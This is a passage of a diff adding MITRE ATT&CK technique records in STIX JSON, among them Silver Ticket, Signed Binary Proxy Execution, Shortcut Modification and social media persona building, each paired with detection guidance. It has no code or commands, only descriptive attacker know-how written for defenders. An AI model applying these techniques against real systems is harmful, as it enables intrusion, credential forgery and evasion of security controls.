"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Sharepoint", + "x_mitre_data_sources": [ + "Logon Session: Logon Session Creation", + "Application Log: Application Log Content" + ], + "x_mitre_version": "1.0", + "modified": "2021-06-08T17:10:31.187Z", + "created": "2020-02-14T13:35:32.938Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Windows", + "Office 365" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a", + "description": "Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "collection" + } + ], + "x_mitre_detection": "The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies. \n\n", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1213/002", + "external_id": "T1213.002", + "source_name": "mitre-attack" + }, + { + "source_name": "Microsoft SharePoint Logging", + "description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.", + "url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-01-24T19:36:41.805Z", + "name": "Shortcut Modification", + "created": "2017-05-31T21:30:30.757Z", + "id": "attack-pattern--970cdb5c-02fb-4c38-b17e-d6327cf3c810", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1023", + "external_id": "T1023", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/132.html", + "external_id": "CAPEC-132", + "source_name": "capec" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Shortcut Modification", + "x_mitre_data_sources": [ + "File: File Creation", + "File: File Modification", + "Process: Process Creation" + ], + "x_mitre_version": "1.1", + "modified": "2021-04-13T21:30:24.555Z", + "created": "2020-01-24T19:00:32.917Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "id": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_permissions_required": [ + "Administrator", + "User" + ], + "description": "Adversaries may create or edit shortcuts to run a program during system boot or user login. Shortcuts or symbolic links are ways of referencing other files or programs that will be opened or executed when the shortcut is clicked or executed by a system startup process.\n\nAdversaries could use shortcuts to execute their tools for persistence. They may create a new shortcut as a means of indirection that may use [Masquerading](https://attack.mitre.org/techniques/T1036) to look like a legitimate program. Adversaries could also edit the target path or entirely replace an existing shortcut so their tools will be executed instead of the intended legitimate program.", + "x_mitre_contributors": [ + "David French, Elastic", + "Bobby, Filar, Elastic", + "Travis Smith, Tripwire" + ], + "x_mitre_detection": "Since a shortcut's target path likely will not change, modifications to shortcut files that do not correlate with known software changes, patches, removal, etc., may be suspicious. Analysis should attempt to relate shortcut file change or creation events to other potentially suspicious events based on known adversary behavior such as process launches of unknown executables that make network connections.\n\nMonitor for LNK files created with a Zone Identifier value greater than 1, which may indicate that the LNK file originated from outside of the network.(Citation: BSidesSLC 2020 - LNK Elastic)", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1547/009", + "external_id": "T1547.009", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/132.html", + "external_id": "CAPEC-132", + "source_name": "capec" + }, + { + "url": "https://www.youtube.com/watch?v=nJ0UsyiUEqQ", + "description": "French, D., Filar, B.. (2020, March 21). A Chain Is No Stronger Than Its Weakest LNK. Retrieved November 30, 2020.", + "source_name": "BSidesSLC 2020 - LNK Elastic" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Signed Binary Proxy Execution", + "x_mitre_data_sources": [ + "Process: Process Creation", + "File: File Creation", + "Module: Module Load", + "Process: OS API Execution", + "Command: Command Execution", + "Windows Registry: Windows Registry Key Modification", + "Network Traffic: Network Connection Creation" + ], + "x_mitre_version": "2.1", + "modified": "2021-10-16T00:13:19.412Z", + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--457c7820-d331-465a-915e-42f85500ccc4", + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Application control", + "Digital Certificate Validation" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "description": "Adversaries may bypass process and/or signature-based defenses by proxying execution of malicious content with signed binaries. Binaries signed with trusted digital certificates can execute on Windows systems protected by digital signature validation. Several Microsoft signed binaries that are default on Windows installations can be used to proxy execution of other files.", + "x_mitre_contributors": [ + "Nishan Maharjan, @loki248", + "Hans Christoffer Gaardl\u00f8s", + "Praetorian" + ], + "x_mitre_detection": "Monitor processes and command-line parameters for signed binaries that may be used to proxy execution of malicious files. Compare recent invocations of signed binaries that may be used to proxy execution with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity. Legitimate programs used in suspicious ways, like msiexec.exe downloading an MSI file from the Internet, may be indicative of an intrusion. Correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.\n\nMonitor for file activity (creations, downloads, modifications, etc.), especially for file types that are not typical within an environment and may be indicative of adversary activity.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1218", + "external_id": "T1218", + "source_name": "mitre-attack" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Signed Script Proxy Execution", + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution", + "Script: Script Execution" + ], + "x_mitre_version": "1.1", + "modified": "2021-09-01T00:57:01.576Z", + "created": "2018-04-18T17:59:24.739Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "id": "attack-pattern--f6fe9070-7a65-49ea-ae72-76292f42cebe", + "x_mitre_defense_bypassed": [ + "Application control", + "Digital Certificate Validation" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User" + ], + "description": "Adversaries may use scripts signed with trusted certificates to proxy execution of malicious files. Several Microsoft signed scripts that are default on Windows installations can be used to proxy execution of other files. This behavior may be abused by adversaries to execute malicious files that could bypass application control and signature validation on systems.(Citation: GitHub Ultimate AppLocker Bypass List)", + "x_mitre_contributors": [ + "Praetorian" + ], + "x_mitre_detection": "Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1216", + "external_id": "T1216", + "source_name": "mitre-attack" + }, + { + "source_name": "GitHub Ultimate AppLocker Bypass List", + "description": "Moe, O. (2018, March 1). Ultimate AppLocker Bypass List. Retrieved April 10, 2018.", + "url": "https://github.com/api0cradle/UltimateAppLockerByPassList" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Silver Ticket", + "x_mitre_data_sources": [ + "Logon Session: Logon Session Metadata" + ], + "x_mitre_version": "1.0", + "modified": "2020-03-25T21:46:46.831Z", + "created": "2020-02-11T19:14:48.309Z", + "x_mitre_permissions_required": [ + "User" + ], + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--d273434a-448e-4598-8e14-607f4a0d5e27", + "description": "Adversaries who have the password hash of a target service account (e.g. SharePoint, MSSQL) may forge Kerberos ticket granting service (TGS) tickets, also known as silver tickets. Kerberos TGS tickets are also known as service tickets.(Citation: ADSecurity Silver Tickets)\n\nSilver tickets are more limited in scope in than golden tickets in that they only enable adversaries to access a particular resource (e.g. MSSQL) and the system that hosts the resource; however, unlike golden tickets, adversaries with the ability to forge silver tickets are able to create TGS tickets without interacting with the Key Distribution Center (KDC), potentially making detection more difficult.(Citation: ADSecurity Detecting Forged Tickets)\n\nPassword hashes for target services may be obtained using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003) or [Kerberoasting](https://attack.mitre.org/techniques/T1558/003).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "credential-access" + } + ], + "x_mitre_detection": "Monitor for anomalous Kerberos activity, such as malformed or blank fields in Windows logon/logoff events (Event ID 4624, 4634, 4672).(Citation: ADSecurity Detecting Forged Tickets) \n\nMonitor for unexpected processes interacting with lsass.exe.(Citation: Medium Detecting Attempts to Steal Passwords from Memory) Common credential dumpers such as Mimikatz access the LSA Subsystem Service (LSASS) process by opening the process, locating the LSA secrets key, and decrypting the sections in memory where credential details, including Kerberos tickets, are stored.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1558/002", + "external_id": "T1558.002", + "source_name": "mitre-attack" + }, + { + "url": "https://adsecurity.org/?p=2011", + "description": "Sean Metcalf. (2015, November 17). How Attackers Use Kerberos Silver Tickets to Exploit Systems. Retrieved February 27, 2020.", + "source_name": "ADSecurity Silver Tickets" + }, + { + "source_name": "ADSecurity Detecting Forged Tickets", + "description": "Metcalf, S. (2015, May 03). Detecting Forged Kerberos Ticket (Golden Ticket & Silver Ticket) Use in Active Directory. Retrieved December 23, 2015.", + "url": "https://adsecurity.org/?p=1515" + }, + { + "source_name": "Medium Detecting Attempts to Steal Passwords from Memory", + "description": "French, D. (2018, October 2). Detecting Attempts to Steal Passwords from Memory. Retrieved October 11, 2019.", + "url": "https://medium.com/threatpunter/detecting-attempts-to-steal-passwords-from-memory-558f16dce4ea" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Social Media", + "x_mitre_version": "1.0", + "modified": "2021-04-15T03:52:40.958Z", + "created": "2020-10-02T16:49:31.262Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--bbe5b322-e2af-4a5e-9625-a4e62bf84ed3", + "description": "Adversaries may search social media for information about victims that can be used during targeting. Social media sites may contain various information about a victim organization, such as business announcements as well as information about the roles, locations, and interests of staff.\n\nAdversaries may search in different social media sites depending on what information they seek to gather. Threat actors may passively harvest data from these sites, as well as use information gathered to create fake profiles/groups to elicit victim\u2019s into revealing specific information (i.e. [Spearphishing Service](https://attack.mitre.org/techniques/T1598/001)).(Citation: Cyware Social Media) Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Establish Accounts](https://attack.mitre.org/techniques/T1585) or [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1593/001", + "external_id": "T1593.001", + "source_name": "mitre-attack" + }, + { + "url": "https://cyware.com/news/how-hackers-exploit-social-media-to-break-into-your-company-88e8da8e", + "description": "Cyware Hacker News. (2019, October 2). How Hackers Exploit Social Media To Break Into Your Company. Retrieved October 20, 2020.", + "source_name": "Cyware Social Media" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Social Media Accounts", + "x_mitre_data_sources": [ + "Persona: Social Media", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-16T17:37:34.563Z", + "created": "2020-10-01T01:08:41.124Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--b1ccd744-3f78-4a0e-9bb2-2002057f7928", + "description": "Adversaries may create and cultivate social media accounts that can be used during targeting. Adversaries can create social media accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of a persona on social media may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single social media site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Establishing a persona on social media may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos. \n\nOnce a persona has been developed an adversary can use it to create connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) These accounts may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently created/modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1585/001", + "external_id": "T1585.001", + "source_name": "mitre-attack" + }, + { + "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation", + "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.", + "source_name": "NEWSCASTER2014" + }, + { + "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf", + "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.", + "source_name": "BlackHatRobinSage" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Social Media Accounts", + "x_mitre_data_sources": [ + "Persona: Social Media", + "Network Traffic: Network Traffic Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-16T17:15:12.169Z", + "created": "2020-10-01T01:18:35.535Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d", + "description": "Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "resource-development" + } + ], + "x_mitre_detection": "Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1586/001", + "external_id": "T1586.001", + "source_name": "mitre-attack" + }, + { + "url": "https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/", + "description": "Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.", + "source_name": "AnonHBGary" + }, + { + "url": "https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation", + "description": "Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.", + "source_name": "NEWSCASTER2014" + }, + { + "url": "http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf", + "description": "Ryan, T. (2010). \u201cGetting In Bed with Robin Sage.\u201d. Retrieved March 6, 2017.", + "source_name": "BlackHatRobinSage" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Software", + "x_mitre_data_sources": [ + "Internet Scan: Response Content" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-17T16:33:19.596Z", + "created": "2020-10-02T16:42:17.482Z", + "x_mitre_platforms": [ + "PRE" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--baf60e1a-afe5-4d31-830f-1b1ba2351884", + "description": "Adversaries may gather information about the victim's host software that can be used during targeting. Information about installed software may include a variety of details such as types and versions on specific hosts, as well as the presence of additional components that might be indicative of added defensive protections (ex: antivirus, SIEMs, etc.).\n\nAdversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) (ex: listening ports, server banners, user agent strings) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about the installed software may also be exposed to adversaries via online or other accessible data sets (ex: job postings, network maps, assessment reports, resumes, or purchase invoices). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or for initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "x_mitre_detection": "Internet scanners may be used to look for patterns associated with malicious content designed to collect host software information from visitors.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: ATT ScanBox)\n\nMuch of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1592/002", + "external_id": "T1592.002", + "source_name": "mitre-attack" + }, + { + "url": "https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks", + "description": "Blasco, J. (2014, August 28). Scanbox: A Reconnaissance Framework Used with Watering Hole Attacks. Retrieved October 19, 2020.", + "source_name": "ATT ScanBox" + }, + { + "url": "https://threatconnect.com/blog/infrastructure-research-hunting/", + "description": "ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.", + "source_name": "ThreatConnect Infrastructure Dec 2020" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Software Deployment Tools", + "x_mitre_data_sources": [ + "Application Log: Application Log Content", + "Process: Process Creation" + ], + "x_mitre_version": "2.1", + "modified": "2020-12-11T17:00:00.938Z", + "created": "2017-05-31T21:30:57.201Z", + "x_mitre_contributors": [ + "Shane Tully, @securitygypsy" + ], + "id": "attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414", + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_permissions_required": [ + "User", + "Administrator", + "SYSTEM" + ], + "description": "Adversaries may gain access to and use third-party software suites installed within an enterprise network, such as administration, monitoring, and deployment systems, to move laterally through the network. Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, HBSS, Altiris, etc.).\n\nAccess to a third-party network-wide or enterprise-wide software system may enable an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to other systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints.\n\nThe permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the third-party system, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform it's intended purpose.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "execution" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "lateral-movement" + } + ], + "x_mitre_remote_support": true, + "x_mitre_detection": "Detection methods will vary depending on the type of third-party software or system and how it is typically used. \n\nThe same investigation process can be applied here as with other potentially malicious activities where the distribution vector is initially unknown but the resulting activity follows a discernible pattern. Analyze the process execution trees, historical activities from the third-party application (such as what types of files are usually pushed), and the resulting activities or events from the file/binary/script pushed to systems. \n\nOften these third-party applications will have logs of their own that can be collected and correlated with other data from the environment. Ensure that third-party application logs are on-boarded to the enterprise logging system and the logs are regularly reviewed. Audit software deployment logs and look for suspicious or unauthorized activity. A system not typically used to push software to clients that suddenly is used for such a task outside of a known admin function may be suspicious. Monitor account login activity on these applications to detect suspicious/abnormal usage.\n\nPerform application deployment at regular times so that irregular deployment activity stands out. Monitor process activity that does not correlate to known good software. Monitor account login activity on the deployment system.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1072", + "external_id": "T1072", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/187.html", + "external_id": "CAPEC-187", + "source_name": "capec" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2021-03-29T16:05:00.456Z", + "name": "Software Discovery", + "x_mitre_data_sources": [ + "Firewall: Firewall Metadata", + "Firewall: Firewall Enumeration", + "Process: Process Creation", + "Command: Command Execution", + "Process: OS API Execution" + ], + "x_mitre_version": "1.3", + "created": "2019-09-16T17:52:44.147Z", + "x_mitre_permissions_required": [ + "User", + "Administrator" + ], + "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", + "Linux", + "macOS", + "Google Workspace" + ], + "x_mitre_is_subtechnique": false, + "id": "attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58", + "description": "Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.\n\nAdversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "discovery" + } + ], + "x_mitre_detection": "System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1518", + "external_id": "T1518", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/580.html", + "external_id": "CAPEC-580", + "source_name": "capec" + } + ] + }, + { + "type": "attack-pattern", + "modified": "2020-02-05T14:18:21.533Z", + "name": "Software Packing", + "created": "2017-05-31T21:30:43.472Z", + "id": "attack-pattern--6ff403bc-93e3-48be-8687-e102fdba8c88", + "revoked": true, + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1045", + "external_id": "T1045", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/570.html", + "external_id": "CAPEC-570", + "source_name": "capec" + }, + { + "source_name": "Wikipedia Exe Compression", + "description": "Executable compression. (n.d.). Retrieved December 4, 2014.", + "url": "http://en.wikipedia.org/wiki/Executable_compression" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf", + "description": "Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019.", + "source_name": "ESET FinFisher Jan 2018" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Software Packing", + "x_mitre_data_sources": [ + "File: File Metadata" + ], + "x_mitre_version": "1.1", + "modified": "2021-10-15T13:56:47.154Z", + "created": "2020-02-05T14:17:46.686Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Heuristic detection", + "Signature-based detection" + ], + "x_mitre_platforms": [ + "macOS", + "Windows" + ], + "x_mitre_is_subtechnique": true, + "id": "attack-pattern--deb98323-e13f-4b0c-8d94-175379069062", + "description": "Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.(Citation: ESET FinFisher Jan 2018) \n\nUtilities used to perform software packing are called packers. Example packers are MPRESS and UPX. A more comprehensive list of known packers is available, (Citation: Wikipedia Exe Compression) but adversaries may create their own packing techniques that do not leave the same artifacts as well-known packers to evade defenses. ", + "x_mitre_contributors": [ + "Filip Kafka, ESET" + ], + "x_mitre_detection": "Use file scanning to look for known software packers or artifacts of packing techniques. Packing is not a definitive indicator of malicious activity, because legitimate software may use packing techniques to reduce binary size or to protect proprietary code.", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "external_references": [ + { + "url": "https://attack.mitre.org/techniques/T1027/002", + "external_id": "T1027.002", + "source_name": "mitre-attack" + }, + { + "url": "https://capec.mitre.org/data/definitions/570.html", + "external_id": "CAPEC-570", + "source_name": "capec" + }, + { + "url": "https://www.welivesecurity.com/wp-content/uploads/2018/01/WP-FinFisher.pdf", + "description": "Kafka, F. (2018, January). ESET's Guide to Deobfuscating and Devirtualizing FinFisher. Retrieved August 12, 2019.", + "source_name": "ESET FinFisher Jan 2018" + }, + { + "source_name": "Wikipedia Exe Compression", + "description": "Executable compression. (n.d.). Retrieved December 4, 2014.", + "url": "http://en.wikipedia.org/wiki/Executable_compression" + } + ] + }, + { + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "attack-pattern", + "name": "Source", + 